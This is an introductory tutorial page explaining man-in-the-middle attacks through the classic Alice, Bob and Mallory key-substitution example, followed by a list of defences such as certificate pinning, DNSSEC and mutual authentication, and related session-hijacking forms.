A man-in-the-middle attack is a type of cyberattack where a malicious actor inserts him/herself into a conversation between two parties, impersonates both parties and gains access to information that the two parties were trying to send to each other. A man-in-the-middle attack allows a malicious actor to intercept, send and receive data meant for someone else, or not meant to be sent at all, without either outside party knowing until it is too late. Man-in-the-middle attacks can be abbreviated in many ways, including MITM, MitM, MiM or MIM.

One example is active eavesdropping, in which the attacker makes independent connections with the victims and relays messages between them to make them believe they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker. The attacker must be able to intercept all relevant messages passing between the two victims and inject new ones. This is straightforward in many circumstances; for example, an attacker within reception range of an unencrypted Wi-Fi wireless access point, can insert himself as a man-in-the-middle.

As an attack that aims at circumventing mutual authentication, or lack thereof, a man-in-the-middle attack can succeed only when the attacker can impersonate each endpoint to their satisfaction as expected from the legitimate other end. Most cryptographic protocols include some form of endpoint authentication specifically to prevent MITM attacks. For example, TLS can authenticate one or both parties using a mutually trusted certification authority.

Example – Suppose Alice wishes to communicate with Bob. Meanwhile, Mallory wishes to intercept the conversation to eavesdrop and possibly (although this step is unnecessary) deliver a false message to Bob.

First, Alice asks Bob for his public key. If Bob sends his public key to Alice, but Mallory is able to intercept it, a man-in-the-middle attack can begin. Mallory sends a forged message to Alice that claims to be from Bob, but instead includes Mallory’s public key.

Alice, believing this public key to be Bob’s, encrypts her message with Mallory’s key and sends the enciphered message back to Bob. Mallory again intercepts, deciphers the message using her private key, possibly alters it if she wants, and re-enciphers it using the public key Bob originally sent to Alice. When Bob receives the newly enciphered message, he believes it came from Alice.

1. Alice sends a message to Bob, which is intercepted by Mallory:

Alice “Hi Bob, it’s Alice. Give me your key”–> Mallory  Bob

2. Mallory relays this message to Bob; Bob cannot tell it is not really from Alice:

Alice  Mallory “Hi Bob, it’s Alice. Give me your key”–> Bob

3. Bob responds with his encryption key:

Alice  Mallory <–[Bob’s_key] Bob

4. Mallory replaces Bob’s key with her own, and relays this to Alice, claiming that it is Bob’s key:

Alice <–[Mallory’s_key] Mallory  Bob

5. Alice encrypts a message with what she believes to be Bob’s key, thinking that only Bob can read it:

Alice “Meet me at the bus stop!”[encrypted with Mallory’s key]–> Mallory  Bob

6. However, because it was actually encrypted with Mallory’s key, Mallory can decrypt it, read it, modify it (if desired), re-encrypt with Bob’s key, and forward it to Bob:

Alice  Mallory “Meet me in the windowless van on 22nd Ave!”[encrypted with Bob’s key]–> Bob

7. Bob thinks that this message is a secure communication from Alice.

This example shows the need for Alice and Bob to have some way to ensure that they are truly using each other’s public keys, rather than the public key of an attacker. Otherwise, such attacks are generally possible, in principle, against any message sent using public-key technology. Fortunately, there are a variety of techniques that help defend against MITM attacks.

Countermeasure – All cryptographic systems that are secure against MITM attacks require an additional exchange or transmission of information over some kind of secure channel. Many key agreement methods have been developed, with different security requirements for the secure channel. Interlock Protocol attempts to address this.

Various defenses against MITM attacks use authentication techniques that include:

• DNSSEC Secure DNS extensions – The Domain Name System Security Extensions (DNSSEC) is a suite of Internet Engineering Task Force (IETF) specifications for securing certain kinds of information provided by the Domain Name System (DNS) as used on Internet Protocol (IP) networks. It is a set of extensions to DNS which provide to DNS clients (resolvers) origin authentication of DNS data, authenticated denial of existence, and data integrity, but not availability or confidentiality.
• Public key infrastructures – PKI mutual authentication The main defence in a PKI scenario is mutual authentication. In this case as well as the application validating the user (not much use if the application is rogue)—the users devices validates the application—hence distinguishing rogue applications from genuine applications
• Certificate pinning
• A recorded media attestment (assuming that the user’s identity can be recognized from the recording), which can either be a verbal communication of a shared value for each session (as in ZRTP) or an audio/visual communication of the public key hash (which can be easily distributed via PKI)]
• Stronger mutual authentication, such as secret keys (which are usually high information entropy secrets, and thus more secure), or passwords (which are usually low information entropy secrets, and thus less secure)
• Latency examination, such as with long cryptographic hash function calculations that lead into tens of seconds; if both parties take 20 seconds normally, and the calculation takes 60 seconds to reach each party, this can indicate a third party
• Second (secure) channel verification
• Testing is being carried out on deleting compromised certificates from issuing authorities on the actual computers and compromised certificates are being exported to sandbox area before removal for analysis

The integrity of public keys must generally be assured in some manner, but need not be secret. Passwords and shared secret keys have the additional secrecy requirement. Public keys can be verified by a certificate authority, whose public key is distributed through a secure channel (for example, with a web browser or OS installation). Public keys can also be verified by a web of trust that distributes public keys through a secure channel (for example by face-to-face meetings).

Other Forms – Man-in-the-middle is a form of session hijacking. Other forms of session hijacking similar to man-in-the-middle are:

• Sidejacking – This attack involves sniffing data packets to steal session cookies and hijack a user’s session. These cookies can contain unencrypted login information, even if the site was secure.
• Evil Twin – This is a rogue Wi-Fi network that appears to be a legitimate network. When users unknowingly join the rogue network, the attacker can launch a man-in-the-middle attack, intercepting all data between you and the network.
• Sniffing – This involves a malicious actor using readily available software to intercept data being sent from, or to, your device.

Go back to Tutorial